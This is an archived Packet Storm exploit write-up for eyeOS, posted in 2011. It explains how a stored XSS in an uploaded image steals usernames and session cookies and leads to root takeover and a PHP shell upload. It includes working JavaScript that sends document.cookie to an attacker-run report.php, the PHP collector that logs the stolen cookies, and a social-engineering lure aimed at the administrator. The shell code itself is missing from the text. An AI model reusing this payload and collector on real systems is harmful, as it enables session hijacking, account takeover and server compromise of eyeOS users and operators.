exploit the possibilities

eyeOS Shell Upload / Cross Site Scripting

eyeOS Shell Upload / Cross Site Scripting
Posted May 12, 2011
Authored by knull | Site leethack.info

This is a brief write up discussing how to leverage cross site scripting and shell upload vulnerabilities in eyeOS versions prior to

tags | exploit, shell, vulnerability, xss
MD5 | a7dfc57edaa98567723a299e7e28878f

eyeOS Shell Upload / Cross Site Scripting

Change Mirror Download
A few weeks ago, an exploit for an increasingly more popular open source OS on http://www.exploit-db.com/exploits/17220/ was made public, it was titled 'eyeOS <= Stored XSS Vulnerability Using Image Files'. I wondered if more could be done than just plain old XSS...

Based on the PoC, I came up with nothing less than a way to collect the username and session cookie for eyeOS:

<!doctype html>
var http = new XMLHttpRequest()
var url = "http://localhost/report.php?" + "user=" + top.document.title + "&cookie=" + document.cookie;
http.open("GET", url, true);

Once saved to a file such as 'filename.jpg', this file can be uploaded to eyeOS's 'Public' group directory from within eyeOS itself, where unsuspecting users can be lured into clicking the malicious file, triggering its payload. Social engineering can also be used by the attacker to get them to download and click on the file via eyeOS's internal messaging. By attaching the malicious 'jpg' file and a bit of social engineering, pretending to ask for help from the administrator of eyeOS (root) with a message such as: 'my image doesnt open, can you check plz?!' the root user for eyeOS can be compromised.

The following code will go on the malicious server as report.php (in this example):

$usercookies = fopen("usercookies", "a");
fwrite($usercookies, "User: " . $_GET['user'] . "\t" ."Cookie: " . $_GET['cookie'] . "\n");

Once the image is clicked the file 'usercookies' will have usernames and cookies appended to it, looking something like this:
User: root@eyeos Cookie: PHPSESSID=5efd5cee3edd6ab65f4644036ee6cc34

The malicious attacker may use the following linux command to watch for new entries in real time:
`watch cat usercookies`

After which the user can register, sign into eyeOS, and then edit his cookie (with something like the 'Cookie Manager' add-on for Firefox) to reflect that of 'root', essentially becoming 'root' on eyeOS.

Once having administrator priviledges on eyeOS its pretty much game over, any and all files in the eyeOS directory tree maybe viewed, edited, or downloaded. A PHP shell can be uploaded through the standard eyeOS uploader to pretty much anywhere in the eyeOS directory tree, even real://../ (revealing 'EYE_ROOT' which was designed not to be viewed by other than the administrators of the eyeOS installation) can be viewed and uploaded to, ultimately gaining control of the server with the permissions of the service hosting eyeOS.

After uploading this shell:


to real://../ it can be used like so:


with the results as:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Other shells can be uploaded instead of this simple example.

The eyeOS 1.9 branch has been patched as of version, the code changes patching the XSS flaw may be viewed http://eyeos.svn.sourceforge.net/viewvc/eyeos?limit_changes=0&view=revision&revision=7188


RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    19 Files
  • 16
    Oct 16th
    19 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2019 Packet Storm. All rights reserved.

Security Services
Hosting By